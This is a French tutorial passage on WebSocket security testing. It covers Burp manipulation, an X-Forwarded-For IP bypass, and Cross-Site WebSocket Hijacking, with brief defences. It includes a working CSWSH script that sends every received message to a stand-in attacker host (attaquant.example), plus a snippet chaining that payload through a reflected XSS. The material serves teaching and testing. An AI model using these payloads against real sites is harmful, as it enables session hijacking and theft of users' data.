WebSockets¶
Les WebSockets sont un protocole de communication initié par HTTP qui établit une connexion durable et bidirectionnelle entre le client et le serveur, avec des échanges asynchrones. Ils servent à toutes sortes d'usages — actions utilisateur, transmission de données sensibles, fonctionnalités temps réel. Toute faille propre à HTTP peut émerger via une communication WebSocket.
Burp dispose d'un onglet dédié aux WebSockets dans son proxy, permettant de manipuler les messages. On peut aussi manipuler l'accord initial qui établit la connexion (le handshake) : avec un contrôle d'IP, si l'en-tête X-Forwarded-For est pris en compte, on peut changer d'IP pour contourner un blocage.
CSRF de handshake WebSocket (CSWSH)¶
L'attaque Cross-Site WebSocket Hijacking consiste à exploiter une faille CSRF sur le handshake d'une connexion WebSocket. On construit une page piégée qui, visitée par la victime, établit une connexion WebSocket avec l'application au nom de la victime — permettant d'agir en son nom ou de récupérer ses données. La maîtrise des concepts CSRF (jeton anti-CSRF, cookie de session) est un prérequis.
L'exploit de base ouvre une connexion (en passant bien au protocole wss), envoie un message initial, puis exfiltre tous les messages reçus vers un serveur contrôlé :
<script>
var ws = new WebSocket('wss://site-vulnerable.example/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://attaquant.example', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
Le script redéfinit le gestionnaire onmessage de la connexion établie pour transmettre chaque message reçu via une requête fetch.
Chaînage via une XSS. Pour une exploitation plus avancée, on encode l'intégralité de cet exploit en URL et on l'injecte dans une autre faille XSS — par exemple un paramètre reflété dans une page. Il faut vérifier au préalable qu'une charge XSS simple, convertie en méthode GET, reste fonctionnelle :
<script>
document.location = "https://site-vulnerable.example/login?username=CHARGE_CSWSH_ENCODÉE&password=anything";
</script>
Aide-mémoire¶
| Cible | Approche |
|---|---|
| Messages | Manipulation via l'onglet WebSockets de Burp |
| Handshake | Contournement d'IP via X-Forwarded-For |
| CSWSH | Page piégée ouvrant une connexion wss au nom de la victime |
| Chaînage | Exploit CSWSH encodé en URL, injecté via une XSS |
La défense contre le CSWSH repose sur la vérification de l'en-tête Origin lors du handshake et sur un jeton anti-CSRF, exactement comme pour le CSRF classique.